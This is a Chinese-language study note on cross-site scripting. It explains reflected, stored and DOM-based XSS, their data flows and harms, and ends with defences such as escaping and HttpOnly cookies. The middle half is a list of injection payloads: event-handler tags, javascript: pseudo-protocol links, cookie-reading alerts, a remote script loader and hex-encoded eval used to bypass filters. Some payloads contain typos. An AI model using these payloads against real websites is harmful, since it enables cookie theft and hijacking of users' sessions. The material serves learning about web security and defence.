原理
开发者在开发时,对客户端过滤严格,导致恶意的javascript代码在浏览器上执行
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
分类
1. Reflected XSS(基于反射的XSS攻击)
2. Stored XSS(基于存储的XSS攻击)
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS 基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起 Web攻击。
Stored XSS 基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存 储在服务器,每个访问该帖子/文章的人就会触发执行。
DOM-based or local XSS
基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
个人总结:XSS就是恶意js代码在浏览器被执行
数据流向:
反射型 XSS 的数据流向是:浏览器 -> 后端 -> 浏览器。
存储行 XSS 的数据流向是:浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
DOM-XSS 的数据流向是:URL-->浏览器。
危害(攻击方式)
1. 挂马
2. 盗取用户Cookie。
3. DOS(拒绝服务)客户端浏览器。
4. 钓鱼攻击,高级的钓鱼技巧。
5. 删除目标文章、恶意篡改数据、嫁祸。
6. 劫持用户Web行为,甚至进一步渗透内网。
7. 爆发Web2.0蠕虫。
8. 蠕虫式的DDoS攻击。
9. 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10. 其它安全问题
常用标签
1. <script scr="js_url"></script>
2. <a href=javascrip:alert('xss')>s</a>
//点 击 s时 运 行 alert('xss')
3. <iframesrc="javascript:alert(2)">
//若存在 X-frame 选项, Payload 失效。
4. <img scr=1 onerror=alert('xss')>
//当 找 不 到图 片 名 为 1 的 文 件 时, 执 行 alert('xss')
5. <video src=test.mp4 onerror=alert(‘1’);>//视频
6. <audio src=test.mp3 onerror=alert(‘1’);>//音乐
7. <orm action="Javascript:alert(1)"><input type=submit><isindex action="javascript:alert(1)" type=image>
8. <svg/onload=prompt(1);>
//SVG 是使用 XML 来描述二维图形和绘图程序的语言。
9. <body onload=prompt(1);>
10. <select autofocus onfocus=alert(1)>
// autofocus 属性规定当页面加载时 input 元素应该自动获得焦点。
11. <textarea autofocus onfocus=alert(1)>
<video><source>
//这里也可以通过各种变形绕过 WAF
12. <img src=x onerror=appendChild(createElement('script')).src='js_url' />
13. <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
//利 用 iframe 的 scr 来 弹 窗
14. <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
//过滤了alert 来执行弹窗等等有很多的方法,
15. <svg onload=confirm``>
作用
获取cookie的几个语句
<script>alert(document.cookie)</script> 获取当前页面的cookie
<a href='' onclick=alert(document.cookie)>登录</a> 需要点击,查看cookie
<body onload=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)> x表示直接没有网址(只要src后面的网址错误就行),所以前面的条件错误,直接弹窗
伪协议构造
<iframe src=javascript:alert(document.cookie)>
<a href="javascript:alert(document.cookie)">登录</a>
<a href="javascript:%61lert(document.cookie)">登录</a> %61是a的url编码
网页重定向获取cookie
重定向
<script>window.location='http://www.baidu.com'</script>
工具
BruteXSS
防护方式
1. 对特殊字符进行转义
2. 直接将标签过滤掉
3. 对cookie设置httponly
4. 对用户的输入内容做限制
5. 对数据进行在编码处理
6. 把关键字符转换html实体(最有效)